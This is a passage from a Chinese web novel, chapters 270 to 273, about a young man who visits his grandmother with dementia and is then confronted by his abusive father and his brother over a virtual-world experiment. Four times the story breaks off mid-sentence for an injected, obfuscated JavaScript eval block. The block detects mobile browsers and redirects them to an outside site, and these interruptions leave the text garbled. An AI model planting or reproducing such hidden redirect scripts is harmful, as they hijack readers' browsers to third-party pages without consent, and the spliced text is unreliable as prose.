就算他不为了身为那个男人的儿子而自豪,但是也不必去刻意否认两人的血缘,奶奶说他们不像,倒是让他觉得有些荒谬。 他三番五次说自己是对方的孙子,并不是因为多么想要证明自己是那个男人的儿子,而是非常想要让奶奶回想起他们曾经一同经历的那些日子,回想起他们之间隔辈的亲情。 他都没有忘记,奶奶怎么会忘?她那么爱他,像爱自己的生命那样爱他。她也一定没有忘记,她只是还没有睡醒,仅此而已罢了。 “你再仔细看看,看看我的眼睛,看看我的嘴,尤其看看我的鼻子。是不是和你儿子像是一个模子里刻出来的?”蔚迟野又凑近了些,以便对方进一步看清自己的脸。 老人有些混浊的视线描绘着年轻人脸部的轮廓,她眯起眼睛,努力看清对方面部的细节。 “哦呦。”她发出了一声惊叹。 见她豁然开朗、茅塞顿开的模样,蔚迟野心里高兴起来,“认出来了?” “你……”老人家盯着他的脸,表情渐渐严肃,“小伙子,你最近有没有找人算过命?” “……啊?”得到了意料之外的答复,蔚迟野一时迷茫。 “你的脸。”老人家看着蔚迟野的脸,来回打量着,“刚才我就觉得你印堂发黑,征兆不详。小伙子……不是我危言耸听,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420957|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以前也是个算命的,在这些方面很有研究。你啊,去找高人给你看看吧。这段时间,吃点好的,什么事呢,都开开心心地过。” 蔚迟野听了,啼笑皆非,“奶奶……这都什么跟什么啊。” 怎么突然跟他说这些?他虽然脸色可能不太好,但也不至于得出这些结论吧? 他没病没灾的,怎么说得好像快死了呢? 这时候,老人嘟起了嘴,皱巴巴的皱纹都凸显了出来,她的眼睛睁得老大,虽然好像仍未认出来眼前的人是他的孙子,但是,那眼神清明了许多,浑浊消散了,整个人都精神了起来。她咂了咂嘴,摇摇头,一副感叹的模样,说道:“小伙子,我说的话你可一定得听啊。” 老人家抓住了蔚迟野的手掌,不知为何,她好像突然有了很大的力气,那手抓得蔚迟野甚至有些疼。她变得有些疑神疑鬼,对蔚迟野低声说道:“这段日子,你就待在自己的家里,别出门,那些个小鬼就找不上你了。老老实实呆着,什么也别做,别动气,更不要动情。你看,你眼睛下面有一道经络,都发黑了,那就是动情的结果。最近是不是感情方面发生了什么大起大落的事?” 蔚迟野眨眨眼,没想到对方说的真还有点准。的确,因为许嫣然的事,他的情绪产生了一些有些波动。但…… “这也太玄乎了,奶奶……” “你就告诉我,是不是?”老人家像是想要证明自己的推算一般,向年轻人逼问道。 和许嫣然谈恋爱这件事,蔚迟野虽然不想让家里知道,但当下也没必要瞒着奶奶,反正老人家说不定一会就不记得了,“是。是有点事。” 老人家点点头,“这就对了,这就是你身上灾厄的关键。我跟你说,娃娃,你要斩断情丝,不然的话,就会被拖向那静谧无底的尖啸黑海,掉进去再想挣扎,就已经来不及啦。” 虽然蔚迟野不信这些,但看对方难得在兴头上,他不希望扫了对方的兴致。而且,他也想和奶奶多说说话,于是乎,便顺着她的话题继续聊了下去,“可是怎么会这样,奶奶?我感情挺顺利的,不觉得有什么问题。” 老人家听到他的话,皱眉疑惑,“顺利?孩子,你别是在强撑着吧。你这面相,看上去完全不是顺利的样子哇。” “可就是很顺利。”蔚迟野说道。他和许嫣然昨天一天就走完了一对情侣确认关系的所有流程,还有比这更顺利的吗?除了今天早上他们发生了一点小小的矛盾以外,可以说相当完美了。 而且,他们的矛盾也不是那么难以解决,他知道,只要让她一个人静一静,再给她送些礼物以示诚意,表达愿意为她付出、改变的态度,那么,隔阂就会渐渐消除了。 “不,不顺利。”老人斜着眼睛盯着蔚迟野,像是她面前的小伙子在骗她老人家一样,露出一副质疑的表情来,“你别骗我了,我都看得懂,你在逃避,在纠结,这些东西全都写在你的脸上,一清二楚。” “真的假的?” “你别不信,我还有当年专门去考的面相师的证书,东西就放在家里,等让我女儿拿过来,你肯定就信我了。” 270. 动情1 蔚迟野笑起来,他当然知道那个证书,去领证书的那天,天下着雪,就是他陪着她去的。他还记得那天奶奶有多么开心,她说,现在她也有资格给别人算命啦,第一个就让她给她最爱的孙子算算。 这一算,奶奶竟是满脸的兴奋与自豪。她说,她的孙子将来肯定会有一番大成就,说不定会成为改变世界格局的伟大人物,他会得到许多人的尊敬与仰慕,史书上将永刻他的名字。 蔚迟野相信了,但是,也只是相信了短暂的几个月而已。后来,学业越来越重,他迷失在了那些文化、数学和一堆复杂的公式之间,可是越学成绩却越差,对自己的信心一而再再而三地大打折扣。 而儿时那个短暂的、无端的预言,也早已不被他相信。 现在看来,那只不过奶奶望孙成龙的一个美好寄愿。毕竟,他这样一个连大学都考不上的人,怎么会成为一个名垂千古的伟人呢。 回到当下,蔚迟野笑着,和他的奶奶进行着这番毫无营养的对话,并且乐此不疲,“行,既然奶奶有证书,那分析的一定就是对的。我在逃避,我在纠结,我感情上有问题。但是,为什么说它会给我带来无妄之灾?听上去好严重啊。” 老人家的想法天马行空,也不知道那些是她的推论,还是上天给她的启示,又或者是她那混浊的思想里面,偶尔无序地冒出来的二三想法。 “你还太年轻,感情这种东西,你把握不好的。”老人语重心长的说,“动情太深,会让你踏上一条不归路的呀。” “怎么会。”蔚迟野依然勾着嘴角,给老人家捻了捻被角,声音平静、轻松,“只是一段感情而已,最多不过分别,哪有那么可怕,怎么还有不归路一说?” “一段感情?”老人家发出疑惑的声音。 蔚迟野道:“况且,人家女孩心地善良,性格老实,怎么会把我带到不归路上去呢。” 老人家盯着蔚迟野,眉毛紧促地皱起来,“你在说什么呀。什么女孩子,我什么时候说是小男孩和小女孩之间酸唧唧的爱情啦?” 蔚迟野一愣,这才反应过来,原来两人刚才各自在说各自的话,“啊,不是这个意思?” “哟,那些微不足道的情情爱爱,不值一提。”老人家摆了摆手,像是不屑一顾似的,“我都懒得看这些情爱的面相,给钱都不稀得看。我和你说的呀,是更宏大的、更深刻的东西。你懂不懂哇?” 蔚迟野眨眨眼睛,一时有些滞愣。 无关乎男女情爱的,更加宏大的感情。 心里的某根弦被拨动着,这让他有些恍惚。 他只是在和奶奶胡乱地对话,他不信面相这些东西,所以两人的交谈也没有什么意义。 但是,有些事情还是止不住地在他脑海里浮现。 奶奶让他斩断情丝,而他也的确一直在试图斩断一些东西。 这本应该不是难事,但是,直到现在他也还没有成功。 他不敢看镜子,总是觉得那里有一个自己过于熟悉的身影。看着许嫣然的时候,总是会下意识把她和另一人做对比。回想起父亲的时候,也会和他曾经有过的一个家庭作对比。 他会将这绿意盎然的世界和那片素白的土地作对比,他在心里对自己说,他喜欢微风,喜欢那些鲜艳的花朵,喜欢太阳照射在身体上的感觉。只是,他心里一直有另一个声音。那个声音说,什么都比不上漫天的白雪,那是大自然的愠怒,是无端的灾厄,也是许多人的梦魇。但是,他喜欢它,无论如何,他都期待冬天的到来,尽管冷风会把他的脸吹得没有知觉,尽管他需要身穿不便的衣物,但是,他仍然喜欢。 他在尽力将自己和那个虚幻的世界剥离,不去看镜子,试图忘记每一个熟稔的面庞,否定着自己身体中的一部分。 即便他继承了那人技艺,享有那人的知识,掌握了那人待人接物的方法,但是,他不承认自己和那个人有什么关系。 他的内心在极度地抗拒。 就好像在害怕,如果承认的话,如果跨越了那条真实和虚拟之间的界限,有什么东西会轰然地崩塌,不复往昔。 蔚迟野抹了一把自己的脸,然后从旁边摸来一个橘子,开始细心地剥它,以来转移他脆弱的注意力。 他和奶奶只是偶然聊到了这里,别总是这么神经兮兮的。蔚迟野在心里对自己说。 谁的人生里都有过不去的坎,每个阶段都有难解的忧愁。奶奶那些话不管对谁说,但凡是有点烦心事的人都能对号入座。 “奶奶,人不能因为怕受伤,就把自己关在屋子里呀。”他说,“我这马上大学开学,还有许多事情没来得及准备呢。” “年轻人,你得听我的,不要动情,千万不要动情啊。”老人家像是在担心什么一般,如此不停地重复道。 这时候,大姑从病房外面回来了。蔚迟野不好再继续这个不着边际的话题,生怕把自己处对象这件事引出来,故而不再和奶奶在这方面搭话下去。他看着大姑,转移了话题,问道:“床费还够用吗?” “续了半年的。”大姑说,女人细致地盯着手里的账单,像是在核实什么一般,“她喜欢这个房间,空气流通,窗外的景色也不错,虽然贵了点,但她待着开心就好。” “嗯。”蔚迟野应了声,而后,又转头看向奶奶。老人依然在盯着他,但是,她的眼睛不知何时却恢复了之前那种浑浊的状态。 “你是谁呀……?”老人神情木讷地问。 蔚迟野抿了抿嘴,心里有些不是滋味。奶奶的眼神不好,说不定,现在他在她的眼中只是一个模糊的影子。刚才那么近的距离她都认不出来,现在更不可能了。但是,犹豫了半晌,他还是说道:“奶奶,我是你孙子,蔚迟野。” 他不知疲倦地说。只要奶奶问,他就会这么回答,直到某有一天,她终于从这个过于漫长的混沌之中清醒,认出他来为止。 那之后,他在医院消磨了大半天的时间。再之后的几天,他也没有离开。 在病房里有种永恒的宁静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432420|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知为何,那让他感觉很好,想要一直在此流连。 而打破这份宁静的,是一通电话。 这是一个没什么特别的上午,他在奶奶病床前陪护,而老人家还是没有想起眼前这个围着她转的年轻人是自己的孙子。 那通电话来得很突然,是蔚统打来的,开篇就在交待事情,没有问蔚迟野在哪里,又在做什么。 “二十分钟,来实验大厦,十二层商用会议室,有事找你。” 蔚迟野挂了电话,依依不舍地和奶奶道别,离开了病房,打了辆车,去往那个他再熟悉不过的、全玻璃外观的实验大厦。 车子里很安静,他的思绪也很空白。他不知道父亲叫他过去是去做什么,上一次离开实验室的时候,方远韶说可能会派其他实验者进入样界。所以,人员已经确定了吗?现在叫他过去是想问更多的细节? 经过这些天,他们已经找到解决葛马的方式了吗……? 一个个想法在蔚迟野的脑海中闪过,他有些不受控制地紧张起来,对接下来的会面感到一种莫明的压力。 马上就结束了。蔚迟野对自己说。只要新的实验者进入样界,通过他还不知道的方式处理掉葛马,那么,方远韶就会按照约定,提供给他去亚森学院上学的名额。 很快,车辆来到了实验大厦的下方,他通过了一层的人脸识别,进入电梯,按下去往高层的按纽。透明电梯外面的景色在下坠,他在离开地表。 实验大厦每一层都具有独立的权限系统,而蔚迟野暂时可以在任何一层通行。他来到了十二层,又过了一道指纹解锁,走廊里白炽灯灯火通明,比他最熟悉的实验层要明亮多了。 来到了会议室,发现门是微敞着的,里面有几个人影。其中一个是柏汝恭,她面前摆着一推资料,还有一只与她形影不离的咖啡杯。坐在她对面的是自己的父亲蔚统,蔚统身边还有一个更加年轻的背影,那人腰板坐得很直,一种属于年轻人的傲气尽显无疑。 蔚迟野没有看到对方的正脸,但是,仅仅一瞥,他就知道那个人是谁。那是他的亲弟弟,蔚天楚。 见到他,蔚迟野的心情便开始有些糟糕起来。这副身体里有太多关于这个弟弟的不好的回忆,他并不怎么待见蔚天楚,而这个弟弟也从来没把他当什么哥哥。 会议室里面的几人注意到了门口的蔚迟野,柏汝恭朝他招招手,示意他进来。 随着他进门,蔚迟野发现会议室里还有一个人的身影。那是低温样界的创造者方远韶,也是决定了自己能不能去亚森学院上学的人。 方远韶在这里的话,看来这些人是在商量什么大事。蔚迟野心想。他头海里简短地思考了一番自己应该坐在什么位置,可以的话,他想直接坐在柏汝恭的身边,但那是行不通的吧。于是乎,蔚迟野坐在了与父亲相隔一个座位的地方,在这里刚好看不到蔚天楚。 “刚才聊到的不清楚的地方,现在问问他吧。”柏汝恭开口道。她说话的对象是对面的蔚统和蔚天楚。 271. 动情2 蔚迟野感到一束打探的视线朝他刺来,那源自于他的弟弟蔚天楚。男孩往椅背上一靠,刻意侧头盯着那并不想和他有视线接触的哥哥。 蔚天楚哼了一声,带着一丝隐晦的鄙夷,“希望他不是一无所知。” 这小子又开始不尊重人了。蔚迟野心想。 他懒得和对方计较,坐姿神态一动未动。在听到任何一个值得理会的问题之前,他不会有什么反应。 蔚统仿佛听不懂小儿子对大儿子的鄙视,熟视无睹地对蔚迟野说道:“天楚会代替你进入样界,他现在有几个关键性的问题要问你。” 听父亲蔚统这么说,蔚迟野不禁皱起了眉头。 果然是这样吗。刚才看到蔚天楚在会议室里时,他就有一种不好的预感。 下一个进入样界的实验者是自己的弟弟,没有比这更差的展开了。 “他们说,你已经两次进入样界了,却还是没有解决问题。”蔚天楚说道,视线中的鄙夷毫不掩拭,像在看一个失败者一样,“每次进入样界,都需要创造意识转移的条件,还要时刻维系外部人体的状态,并保证样界的运转不会把你的大脑烧坏。你知道这些要花多少钱吗,哥哥?” 蔚迟野没理会对方的挑衅,用问题回答问题,“你要问我的就是这个?那比起向我提问,还不如问对面的方先生。” 对面,方远韶抱着自己的胸,正在闭目养神,像是不愿意掺和进这一家的争执里。 似乎是见兄长没有一点被打击到的样子,蔚天楚不甘地‘切’了一声,这才开始说正事,“告诉我那个‘葛马’的坐标点在哪。” “哦,你要去解决他吗?” “当然了。” “他可不好对付。” 蔚天楚笑道:“你该不会以为我会像你一样没用吧。” 蔚迟野也勾起嘴角,“不,我觉得你比我更没用。” 弟弟的目光变得阴晦起来,那让蔚迟野心情大好。 一时间,会议室火药味很浓。蔚统咳嗽了一声,兄弟俩这才收敛了一些气焰,没有继续针锋相对。 对面,柏汝恭拿着一沓资料,像刚才什么也没听见什么,也没看到似的,扶了扶自己的眼睛说:“迟野,你上次反馈说葛马是一个外界观测不到的人物。我们后来推测,他是样界自发形成的生命。唯一解决的办法就是将他‘格式化’,蔚天楚会带着定点格式化工具进入样界,见到葛马并使用它,一切就解决了。” 蔚迟野听着,疑惑地问道:“定点格式化工具?外界的东西要怎么带进去?” “当然不是现实中的物质,而是像‘寒冰枷锁’一样的超意识程序。”柏汝恭翻过手里的纸张,那上面密密麻麻地铺陈着许多行代码,“只要在实验者进入样界之前,把程序挂在他身上,实验者就可以使用定点格式化工具了。” 这时候,柏汝恭身边的方远韶微微睁开眼睛,轻声提醒道:“你手里的应该是机密吧,柏主任。” “哦,不好意思,忘了。”柏汝恭立刻把纸转回去,不再让对面的几个人看它。 “这下你理解了吧。”蔚天楚对蔚迟野说道,他依然是那副傲慢的态度,好像他才是站在制高点的人,而他们之间年龄的差距构不成他对兄长尊敬的理由,“你只需要告诉我,‘葛马’在什么地方,我进去花不了多久就能解决他。” 蔚迟野紧绷着自己的嘴唇,脸色冷峻。 一旁,蔚统也说道:“事情解决之后,方先生依然提供给你去亚森学院上学的机会,你现在只需要把你所说的那个葛马的坐标点转告给天楚,你弟弟会帮你解决这一切。” 蔚天楚笑了一声,那笑声里有多少嘲讽和鄙夷,在场的任何人都听得出来。蔚天楚的模样,就仿佛他哥哥是一个无能之人,需要仰仗弟弟才能实现渴望已久的微小目标。 蔚迟野的拳头拧紧了,答案就在他的嘴边,但是,不知道为什么,他说不出来,有一种巨大的抗力封住了他的喉咙。 明明只要把葛马的所在地报出来,这一切就结束了,他就可以去亚森学院上学。不管样界后面发生什么都和他无关。 他低下头去,只觉得自己的头颅有千斤之重。 ——说啊,蔚迟野,你为什么不说? “怎么了,难不成你忘了?”蔚天楚说道,在一旁煽风点火,“又或者,其实,你一开始就是在撒谎?其实你根本一无所获,只是浑浑噩噩在样界中游荡,荒废了大家为你准备的所有资源。其实你什么异常也没发生,葛马这个人也是你瞎编的,对不对?” 蔚天楚说完,父子俩都向蔚迟野投来视线,等待他的回答。他们想要听一听,蔚迟野会是什么反应,是不是真的像蔚天楚说的那样,两次进入样界却一无所得,只是单纯在撒谎罢了。 蔚迟野冷着脸,盯着自己的弟弟。对方向来有一种歪曲事实的能力,所以,自己曾经都不怎么愿意和对方说话,不想去招惹他。 但是,曾经是曾经,现在是现在。 对方还当自己是那个以前的蔚迟野,不会为自己争取利益,任身边的人任如何不公地对待自己,也不会反抗。蔚天楚还以为他是那样懦弱的人。 蔚迟野感到有些好笑,往后背一靠,一只手搭在红木桌面上,四指顺次敲了一遍木桌,发出迅速又清脆的声响。他没有着急去否定什么,而是借着蔚天楚的话说道:“我要是说谎的话,你可就惨了。” 蔚天楚不屑一顾,“我惨了?” “是啊,如果我在撒谎的话,那不就代表寻找异常原因的任务一点进展都没有吗?那么,你觉得你进去之后要面临什么,嗯?弟弟?”他轻松地说着,看好戏一般盯着蔚天楚,“还不是像我一样,从头开始一无所知地搜寻。我在里面待了二十多年才找到一丝蛛丝马迹,你的话,可能要个六十多年吧。” 话音落下,蔚天楚的表情有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14446147|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些难看,年轻人看向一旁的父亲,低声说道:“爸,要不还是先派人进去看看他说的到底是真是假吧,我可花不了那么多时间……” 蔚统的表情也很难看,他盯着自己的大儿子,毫不吝啬地展示自己作为父亲的威严,“你到底知不知道问题在哪,给我说实话!” 蔚迟野没有直接回答。他想,蔚天楚不是喜欢绕弯子吗,那他就奉陪到底,既然都不喜欢好好说话,那就都别说人话了,拿腔作调还有谁能赢得过他一个前王室吗。 “我也想说实话,可是,我怎么可能说得过天楚呢?”他示弱似的说,“他那么聪明,又那么伶牙俐齿,能把白的说成是黑的,死的说成是活的。无论我说什么、怎么说,他都会把话题向有利于自己的方向引导。” “你别想诬陷我。”蔚天楚不善地说。 蔚迟野严肃地盯着自己的弟弟,“说诬陷有些太伤人了吧,天楚,我什么时候对你做过这种事呢?向来都是你诬陷我。” “我可没有——” “是你说我在撒谎,将矛头引到我的身上。”蔚迟野打断他,朝向对面的柏汝恭和方远韶,目光求助,“之前大家都没有怀疑我,怎么他刚说了两句话,好像我的信誉一瞬间就消失不见了?明明已经共事了这么久,我真的……有点难过。” 对面,柏汝恭扬了扬眉,抬杯子喝了口咖啡,表情仿佛在说“你这是在造谣”。而方远韶还是在闭眼休憩,嘴里发出一声吐息般的沉吟,一副看穿但不想掺和的模样。 蔚天楚瞪着蔚迟野,像是没有组织好语言一般,只能徒劳地发怒,“你……” “你们到底想不想让我配合?”蔚迟野说道,此刻,他显露出一副反客为主的模样,“想让我配合,起码要表示出你们的诚意吧。现在,你们想知道的东西都在我的脑袋里。要我开口的话,起码放尊重点。” 他说这些话的时候,目光便盯着蔚天楚,仿佛在通过这种方式教导自己不知好歹的弟弟,让他起码对自己有些最基础的尊敬。 然而,一旁,蔚统却仿佛受到了什么侮辱一般,好像他作为家庭主导的主权被夺走了,龇牙咧嘴地瞪着蔚迟野,声音拔高了许多,几乎是喊道:“你还要什么尊重?看看你直到现在做的这些事,你就是个一直在失败的废物!学习学不会,考试考不好,让你参加方先生的实验补救,结果你尝试了两次都拿不出什么成果,到头来还要你弟弟帮你打扫你的烂摊子。你现在要尊重?你有什么脸要尊重!” 蔚迟野看着自己的父亲,只觉得对方是一个控制不住自己情绪的野蛮人。他盯着这张中年男子的脸,突然,好像能看出他小时候的模样。坏脾气,无缘的发火,抢别人的东西,不讲道理,喜欢无端的斥责,对父母的付出视而不见,是那种最让人头疼的孩子。 现在,他只不过是身体变大了一些,然而,不论怎么看,他的内核还是小时候那样,根本……一点都没有变。 272. 动情3 蔚迟野突然觉得有些好笑。看着像是长大了,那也不过是身体的成长,只不过是更膨胀的怒火,更成熟的表达,思想却从小到大根本没有变过。 看着蔚统,他仿佛看到了一个气急败坏的小孩子,恶劣地痛斥着身旁不如他意的人。只不过,当这个男孩长大了,拥有了一些德不配位的权力,社会地位改变,没有人会把他的愤怒再当成玩笑,所以,人们开始害怕他、尊敬他,赋予了那些儿时的顽劣以新的定义,比如道貌岸然、威风凛凛等一些专属于大人的词汇。 真是搞笑。 “你笑什么?”蔚统盯着自己的大儿子,表情狰狞,“脑子有病,别那么恶心行吗,你突然笑什么?” 蔚迟野屏蔽了那些侮辱性质的词汇,那些话语根本痛击不到他的内心,连留下一点擦伤也做不到,他的心早已经在另一个地方得到了坚韧的磨砺,一点点言语的中伤不值一提,“如果我们没法好好说话的话,父亲,今天还是别聊了吧。” 对面,方远韶轻轻叹了口气,没说什么,站起身来有要离开的意思。 蔚统见到他动作,立刻起身追上去,换了一副表情,讨好似的问道:“方先生,您去哪?” “我的时间有限。在得出一个明确的答案之后,再叫我过来。”方远韶说完了这句话,身影彻底地消失在了众人的视野中,一刻也不愿意多留,他似乎总是很忙。 蔚统站在原地,背影有些滑稽,但是,那卑微的、佝偻的肩膀似乎愈发颤抖。他回过头来,脸上是怒火中烧的表情,三两步走来,一下子把蔚迟野从座位上提起来,口水几乎都喷到了他的脸上,“妈的操蛋东西,让你说出一个坐标这么费劲吗,啊?你是不是真的什么也没发现!?” 蔚迟野当着蔚统的面,抹了一把脸上的口水,不屑地甩了甩手,道:“您猜呢?” “我猜?”蔚统表情狰狞得可怕,他一下子把蔚迟野推出去,后者撞在一旁的白墙上,发出一声巨大的闷响。 柏汝恭喊道:“蔚先生,不要在这里动手!” “他娘的,今天我不把你揍得服服帖帖,我就不姓蔚!”蔚统说着,撸起自己的袖子,朝蔚迟野的方向逼近。 蔚天楚看好戏一般笑着,抱着胸,往战场的方向走远了一些,像是怕被波及。 “别在会议室打架!弄坏了投影器材怎么办?”一旁,柏汝恭似乎有些生气,她站起来,对蔚统大声喊道。 然而,男人像是失心疯了似的,根本不管柏汝恭说了什么,一拳打在蔚迟野的脸上,紧接着又是下一拳要落下来。 这时候,柏汝恭冲出会议室,朝外面喊道:“保安呢?叫保安过来!有人在疯狂打人!还随便破坏公司财产!!” 她添油加醋地说,将事态形容得十分紧急。而很快,她就得到了回应。 会议室里,蔚迟野靠在墙边上,渐渐沿着墙蹲了下去,抬起自己的双臂抵御来自上方的打击。这幅身体还是太孱弱了,他试着反抗,但是,神经驱使身体,身体却反应得相当迟钝,没有他自认为该有的速度,也没有充足的力量。这幅躯体急需锤炼,不然的话,连一个鲜少锻炼的成年人都打不过。 他那么抵御了一阵子,周围来人了,保安将蔚统拉开,男人在这个时候还在咒骂,语言不堪入耳。 “把蔚先生带走,让他去好好冷静一下。”柏汝恭对赶来的保安说道。 “妈的,□□崽子你给我过来!把你肚子打烂了,话给你挖出来!”蔚统发狂地怒吼,但是力量不敌高壮的安保人员,被两三个人架着抬了出去,“放我下来,看我不打死他!” 另一边,站在角落看好戏的蔚天楚看了看自己的父亲,又看了看自己的哥哥,脸色不怎么好,哼了一声,像是个跟屁虫一样追着蔚统的身影离开了。 蔚迟野从地上站起来,柏汝恭走过来拉了他一把。他感觉自己右臂在疼,还是那之前在游乐场时因过分使用蛮力而留下的创伤,没想到它依然没好,还在时不时冒出来提醒蔚迟野它的存在。 蔚迟野捂着自己的肩膀,找了个椅子坐下,而柏汝恭则坐在他的身边。 虽然他刚才和父亲对峙的态度十分嚣张,但是,现在却有些闷闷不乐。 会议室外,男人的咒骂声和嘈杂一起越来越远,最终消失不见了。 柏汝恭盯着蔚迟野,女人斟酌了半晌才开口。 “所以,你是怎么想的?”她说,“我们已经商量好了,让蔚天楚进入样界解决问题,然后,一切就都结束了。迟野,你……不希望这样吗?” 蔚迟野闭了闭眼睛,他的手臂拄在自己的大腿上,上半身微微向前倾斜。在柏汝恭的面前,他没什么好隐瞒的,起码,在这个冰冷的实验大厦里,她是为数不多还能让他感觉到一丝温暖的人。 她会为他提供帮助,会在他醒来的时候,真情实意地问他一句:你怎么样。 而且,她也是知道他在样界里经历了什么的人,是他为数不多可以倾诉的对象。 蔚迟野捋了一把自己的头发,不到一个指长的短发还是有些让他不适应,划一下就到头了,空落落的,“我……只是不想让蔚天楚接手这件事。” “为什么?”柏汝恭问道。她显然不知道他们家里的纠葛,只是因为实验的原因而与蔚迟野相识,对于他们蔚家具体的情况,可是说一概不知。 蔚迟野顿了顿,不打算隐瞒,说道:“谁都行,他不行。” “不希望他抢走你的风头?” 蔚迟野叹息了一声,柏汝恭在这点上没说错什么。他非常不希望是蔚天楚修复了样界的异常,如果让对方成功的话,那个不知道尊重人的弟弟又会开始嘲讽人,把自己看的一文不值。 而且,另一方面…… ……另一方面,他并不希望把这个性格恶劣的男孩留给葛马去应对。虽然葛马或早或晚都会消失吧,但他希望过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456393|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程尽量快,最好不要制造什么痛苦。 蔚迟野没就这点再说什么,转移了话题,“样界里……现在怎么样了?” “还和你离开的时候一样。”柏汝恭说道,“你离开之后,样界便暂停了,直到下一个实验者进入之前,样界依然会保持着现在的状态。” 暂停……也就是说大家都还在元城。 一想到这里,过去的回忆便涌了上来,历历在目。 “柏姐……”蔚迟野捂住自己的脸,有些有气无力,“我是不是病了?” 柏汝恭转过头来,“怎么了,离开样界之后,你有什么不舒服的感觉吗?” 蔚迟野回想了一番,组织了一下语言,说道:“也没有……就是,时常回想起来在样界里发生的事情。” “这很正常。”柏汝恭说。她拿出一个电子终端,在上面戳了戳,调出一个界面,“样界现在的年份……是寒纪201年。杜光欧在175年出生,现在也就是二十六岁,好歹拥有这么多年的记忆,一瞬间忘干净才是不可能的吧。” “但那都是些虚拟的记忆,不是吗。”蔚迟野说道,“因为有加工程序的存在,所以我才会觉得真实。现在我已经意识到它是虚假的了,理应很容易忘却。” “这个问题,我们之前不是已经说过了吗?没有什么加工程序。”柏汝恭打量着眼前的年轻人,踟蹰了片刻,她声音有些犹豫地问道,“你怎么一直揪着这点不放……是样界里发生了什么你想忘掉的事情?” “没有,只是,太漫长了。”蔚迟野说道,“比我整个真实的人生都要漫长。” “也是啊,你才十八岁。”柏汝恭轻声说道。 “柏姐,我很混乱。” “嗯……怎么说?” “杜光欧的意识总是在干扰我。从样界出来之后,就一直是这样。”蔚迟野道。 柏汝恭一时没有说什么,只是起身,从桌子对面拽过来自己的咖啡杯,嗦了一口,嘀咕着已经凉了,然后又把它放下,咂咂嘴问道:“具体有什么表现?” 蔚迟野想了想,像一个在医生面前陈述病情患者一般,他缓缓道来,“有时候,我站在镜子面前,看到的不是自己的脸,而是他的。有时候,我开口,说出来的也不像是自己会说的话。就像刚才,我和父亲说的那些话,以及和他对抗的态度,都是曾经的我不可能做出来的。” 柏汝恭:“刚才不是挺好的吗,你虽然不配合,但起码坚持住了自己的想法,在威逼利诱下,也没有把不想透露的事情说出口。” 蔚迟野又胡乱地弄一把自己的头发,短短的发丝却让他的心情更加烦躁,他长叹了一口气,声音几乎有些颤抖,“我不适应,柏姐,我好不适应。变化太大了。杜光欧是一个王室,他有地位,有力量,而我已经习惯了那样。但回来之后,所有人却用那样不屑的态度对待我,我很不适。曾经的我到底是怎么忍耐的,我根本难以理解。” 273. 动情4 柏汝恭又开始喝起咖啡,静静听他说话。 “但是,当我冷静下来后,不得不承认,我的确是活在这样一个现实世界里。”他说,“我的父亲不爱我,母亲不爱我,弟弟更是对我多加鄙夷,最爱我的亲人现在躺在病床上,而她也已经忘记了我是谁。我没有朋友,现在回想起来,一个都没有。没有可以信任的人,也没有可以托付的人。我看着一起度过了两年高中时光的女孩,但却发现,我的心中没有任何的悸动,有的只是无法控制的本能,除此以外什么都没有。 “为什么,我应该是处在一个现实的世界里,但是,为什么这个世界这么的空虚?它远没有那个虚拟的样界那般充盈,现实世界中所体验到的感觉和样界里那二十六年的惊心动魄比起来,是那么的平淡、无趣。我究竟是怎么了,是不是出了什么问题?我觉得——” 蔚迟野一通说了许多,这些话,其实早就在他的心里酝酿,“——我觉得现在所在的世界才像是假的。柏姐,我是不是失心疯了,得了什么心理上的疾病啊?” 柏汝恭摩挲着手里的咖啡杯,她垂眸回答,“迟野,你有那些感觉,都是正常的。” “这怎么可能正常?”蔚迟野说道,他睁大了眼睛,“现在回想起样界里的人,我还是会触动。但他们本质只是冰冷的数据,是虚假的映像……我不应该觉得他们真实生动。” “……”柏汝恭一时沉默,抿抿嘴,像是有什么话没说出口。 